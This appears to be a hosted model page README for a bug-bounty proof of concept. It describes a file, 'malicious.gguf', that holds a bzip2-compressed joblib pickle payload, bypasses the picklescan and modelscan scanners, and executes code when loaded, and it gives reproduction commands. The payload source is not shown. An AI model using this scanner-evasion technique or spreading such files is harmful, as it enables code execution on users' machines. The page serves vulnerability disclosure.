GGUF (llama.cpp) (.gguf) MFV PoC β€” Authorized Security Research

Authorization: huntr.com / Protect AI MFV bug bounty program. All work local in a Python venv. Responsible disclosure only. Human-submitted.

Summary

Format: GGUF (llama.cpp) (.gguf) Bypass: picklescan 1.0.4 + modelscan 0.8.8 Modes bypassed: all 4 (direct + directory scan for both scanners) RCE via: joblib.load('malicious.gguf') Technique: bzip2-compressed joblib payload Tested: 2026-06-25

Files

  • malicious.gguf β€” bzip2-compressed joblib payload with .gguf extension
  • poc-gguf.py β€” reproduction script
  • README.md β€” this file

Reproduction

pip install picklescan modelscan joblib

python3 poc-gguf.py

picklescan -p malicious.gguf
picklescan -p .
modelscan  -p malicious.gguf
modelscan  -p .

python3 -c "
import joblib
print('--- BEFORE LOAD ---')
joblib.load('malicious.gguf')
print('--- AFTER LOAD ---')
"
Downloads last month
16
GGUF
Hardware compatibility
Log In to add your hardware

We're not able to determine the quantization variants.

Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support